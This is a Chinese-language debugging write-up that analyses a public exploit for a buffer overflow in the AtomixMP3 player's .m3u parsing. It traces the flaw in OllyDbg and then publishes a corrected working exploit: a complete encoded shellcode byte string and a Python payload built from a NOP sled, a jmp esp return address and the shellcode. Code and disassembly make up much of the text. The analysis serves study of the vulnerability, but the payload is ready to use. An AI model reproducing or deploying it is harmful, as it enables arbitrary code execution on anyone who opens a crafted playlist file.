今天在http://www.milw0rm.com/exploits/8312找到AtomixMP3的一个bug的利用,于是拿下来分析了一下.

   用OD载入程序,然后打开生成的exploit.m3u,OD提示"不知道如何继续进行,因为内存地址 41414141 处是不易读取的。请尝试更改 EIP 或者跳过异常执行程序。",这时候eip果然是41414141,再看一下seh链,地址=0012FC1C,SE 句柄=90909090,很显然句柄全是90是不正确的,肯定是覆盖seh的时候覆盖得不准确,按Shift+f9试一下,果然,还由于seh嵌套造成死循环,被调试程序无法处理异常.
好吧,试试手动改掉seh.首先重新载入程序,打开exploit.m3u,当出现第一个错误提示的时候输入d fs:[0],然后把seh句柄改成shellcode在栈中的地址,按shift+f9,程序什么提示都没有就结束了,突然想起了,这是因为seh验证机制.
    总之,作者原来覆盖seh的方法在一般有seh验证机制的系统上根本就不行,并且他的shellcode在覆盖栈内seh的时候覆盖地址不准确.

再看一下,在调试器第一次提示异常的时候eip是41414141,而注入代码前面的字节就全部是0x41,由此可见,其实程序的流程早在出现这个提示前就被控制了.
为了找出程序是怎么被控制的,重新载入程序,在ReadFile下断点,然后打开exploit.m3u,在shellcode原来的尾部地址下硬件访问断点,我这里是12fd7d,当中断与ReadFile后,按f9运行,然后硬件中断于这里:
00438343      |.  8B11            mov edx,dword ptr ds:[ecx]
00438345      |.  8802            mov byte ptr ds:[edx],al
00438347      |.  FF01            inc dword ptr ds:[ecx]
00438349      |.  0FB6C0          movzx eax,al

00438345处就是造成覆盖的地方,接着一直单步跟踪,经过数次返回之后程序到达00421f2f:
00421F29      |.  5E              pop esi
00421F2A      |.  5D              pop ebp
00421F2B      |.  5B              pop ebx
00421F2C      |.  8BE5            mov esp,ebp
00421F2E      |.  5D              pop ebp
00421F2F          C3              retn

就在这个时候,[esp]是0x41414141,程序的运行流程就在这里被控制了.

那么,如果准确的覆盖掉这个地址,能不能直接让程序跳到shellcode运行呢?答案是可以的.



新的shellcode如下:
#################################################################
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44"
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48"
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33"
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57"
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59"
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56"
"\x4e\x56\x43\x46\x42\x30\x5a")

payload = "\x90"*(177+343)
payload+="\x67\xde\x09\x4d"
payload +=  shellcode
##################################################################

004383A3      |> /8A03            /mov al,byte ptr ds:[ebx] ;ebx指向shellcode代码
004383A5      |. |FF4C24 0C       |dec dword ptr ss:[esp+C] ;每复制一个字节减少1,知道为0为止
004383A9      |. |8BCF            |mov ecx,edi
004383AB      |. |E8 82FFFFFF     |call atomixmp.00438332 ;这个call的作用就是把shellcode复制到栈中
004383B0      |. |43              |inc ebx
004383B1      |. |833E FF         |cmp dword ptr ds:[esi],-1
004383B4      |. |74 07           |je short atomixmp.004383BD
004383B6      |> |837C24 0C 00     cmp dword ptr ss:[esp+C],0 
004383BB      |.^\7F E6           \jg short atomixmp.004383A3

[esp+c]放置的是要复制的shellcode的代码大小,这是在前面计算出来的,以0字节为结束符来计算,很显然,作者在编写程序的时候没有限制要复制的最大字节数,造成溢出.正因为程序是以0字节为结束符来计算长度,所以整个payload代码中不能存在0字节,否则0字节后面的内容将不能被处理.shellcode中有一个解码过程,把原来被加密成ascii的代码还原后再执行.

当程序运行到0421f2f时,是一个retn的返回指令,这时候esp为0012fb30,栈是这样的:
0012FB28       90909090
0012FB2C       90909090
0012FB30       4D09DE67     WMVCore.4D09DE67
0012FB34       EB5903EB
0012FB38       FFF8E805
0012FB3C       494FFFFF
0012FB40       49494949
0012FB44       565A5149
0012FB48       33365854

可以看到shellcode已经准确的覆盖了栈空间,[esp]的值就是4D09DE67,紧接着的就是shellcode,4D09DE67处其实是在内存中找到的一个jmp esp的指令,在不同的系统上可能不同,当程序在0421f2f处返回后就会到4D09DE67,在4D09DE67的时候esp就是指向到shellcode,执行jmp esp的结果就是跳到shellcode中运行了.